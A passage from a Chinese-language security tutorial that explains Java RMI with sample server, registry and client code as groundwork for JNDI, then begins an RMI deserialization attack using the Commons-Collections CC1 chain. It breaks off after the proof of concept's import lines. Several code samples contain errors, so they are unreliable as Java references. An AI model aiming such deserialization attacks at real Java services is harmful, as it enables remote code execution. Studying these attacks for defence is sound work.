想学JDNI,那想必一定躲不过RMI。
RMI简述
RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。
Server端会创建一个远程对象用于client端远程访问。
下面改造一张来自W3Cschool的图:
只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。
-
RMI server的构造需要:
-
一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口
public interface rmidemo extends Remote {
private static final long serialVersionUID = 6490921832856589236L;
public String hello() throws RemoteException{}
}
-
serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常
2. 能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。
public class RmiObject extends UnicastRemoteObject implements rmidemo {
protected RmiObject() throws RemoteException {}
public String hello() throws RemoteException{}
}
3. 注册远程对象(RMIRegistry):
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObjct();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
-
RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry(“localhost”, 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
rmidemo hello = (rmidemo) registry.lookup(“hello”);
// 调用远程方法
System.out.println(hello.hello());
}
}
以上过程也可以用素十八大佬的一图概括:
RMI反序列化攻击
以CC1链利用AnnotationInvocationHandler进行攻击为例:
CC1的POC为:
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import o